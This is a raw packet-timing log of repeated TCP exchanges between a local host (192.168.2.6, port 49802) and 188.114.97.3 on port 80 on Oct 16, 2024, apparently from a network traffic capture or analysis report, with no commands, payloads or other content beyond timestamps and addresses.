                                                                                    Oct 16, 2024 10:58:21.438611031 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.438621998 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.438647985 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.438661098 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.438715935 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.438750982 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.438774109 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.438785076 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.438822031 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.438939095 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.438950062 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.438961029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.438973904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.438982010 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.438986063 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439007998 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.439016104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439023018 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.439029932 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439052105 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.439062119 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.439065933 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439078093 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439088106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439110041 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.439129114 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.439239979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439276934 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.439284086 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439311028 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439323902 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439332008 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.439336061 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439346075 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.439363003 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.439369917 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.439471960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439482927 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439492941 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439513922 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.439532042 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.439543009 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439555883 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439565897 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439577103 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439588070 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.439588070 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.439603090 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.439626932 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.472799063 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.472817898 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.472840071 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.472841978 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.472860098 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.472878933 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.498361111 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.498418093 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.498538017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.498548031 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.498558998 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.498569012 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.498578072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.498588085 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.498588085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.498600006 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.498615026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.498640060 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.498644114 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.498656034 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.498665094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.498687029 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.498699903 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.536158085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.536169052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.536180019 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.536204100 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.536222935 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.536298037 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.536341906 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.546050072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.546075106 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.546084881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.546103001 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.546127081 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.546128988 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.546236992 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.556554079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556596041 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556607008 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556610107 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.556632042 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.556651115 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.556663990 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556675911 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556685925 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556696892 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556710005 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.556745052 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.556761980 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556773901 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556782961 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556791067 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556801081 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556812048 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.556833029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556833982 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.556844950 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556858063 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.556876898 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.556916952 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556926966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556936979 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556947947 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556955099 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.556977034 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.556979895 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.556991100 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557023048 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.557137966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557154894 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557163000 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557188034 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.557199955 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.557261944 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557271957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557291985 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.557318926 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.557320118 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557337999 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557348967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557357073 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.557369947 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.557388067 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.557543993 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557553053 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557559967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557590961 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557600021 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557610035 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557621002 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557626963 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.557631969 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.557640076 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.557658911 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.557672977 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.590367079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.590393066 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.590403080 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.590454102 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.590471983 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.615899086 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.615909100 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.615917921 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.615958929 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.615962029 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.615973949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.615983963 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.615986109 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.615995884 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.616005898 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.616009951 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.616031885 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.616048098 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.653124094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.653204918 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.653228998 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.653238058 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.653248072 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.653271914 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.653304100 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.663374901 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.663391113 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.663400888 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.663428068 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.663455009 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674016953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674027920 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674038887 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674065113 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674083948 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674107075 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674119949 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674130917 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674141884 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674149990 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674154997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674177885 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674195051 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674268961 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674278975 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674289942 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674300909 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674310923 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674312115 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674324989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674335957 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674338102 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674350977 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674385071 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674388885 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674396992 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674407959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674422026 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674426079 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674437046 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674439907 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674448967 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674453020 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674464941 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674499035 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674524069 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674542904 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674554110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674563885 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674575090 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674581051 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674587965 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674591064 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674606085 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.674613953 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674634933 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.674657106 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.675029993 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.675040960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.675052881 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.675066948 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.675077915 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.675086021 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.675105095 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.675134897 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.675215960 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.675231934 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.675242901 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.675257921 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.675276041 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.707564116 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.707575083 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.707593918 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.707606077 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.707616091 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.707624912 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.707626104 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.707653046 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.707673073 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.732980967 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.733038902 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.733066082 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.733078003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.733088017 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.733098030 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.733108997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.733119011 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.733122110 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.733135939 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.733146906 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.733175039 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.770395041 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.770405054 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.770421028 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.770431995 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.770450115 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.770471096 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.780308962 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.780318022 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.780328989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.780339003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.780356884 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.780389071 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.790854931 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.790875912 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.790885925 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.790900946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.790923119 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.790955067 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.790966988 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.790978909 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791003942 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791017056 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791119099 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791130066 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791141033 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791153908 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791161060 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791166067 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791182041 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791203976 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791209936 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791222095 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791233063 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791258097 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791270018 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791294098 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791357994 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791368961 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791393995 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791416883 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791435003 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791502953 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791512966 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791538000 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791558981 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791567087 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791572094 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791584015 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791599989 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791610003 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791614056 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791631937 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791640997 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791647911 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791671991 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791682959 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791696072 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791708946 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791727066 CEST4980280192.168.2.6188.114.97.3
                                                                                    Oct 16, 2024 10:58:21.791892052 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791903973 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791922092 CEST8049802188.114.97.3192.168.2.6
                                                                                    Oct 16, 2024 10:58:21.791933060 CEST8049802188.114.97.3192.168.2.6
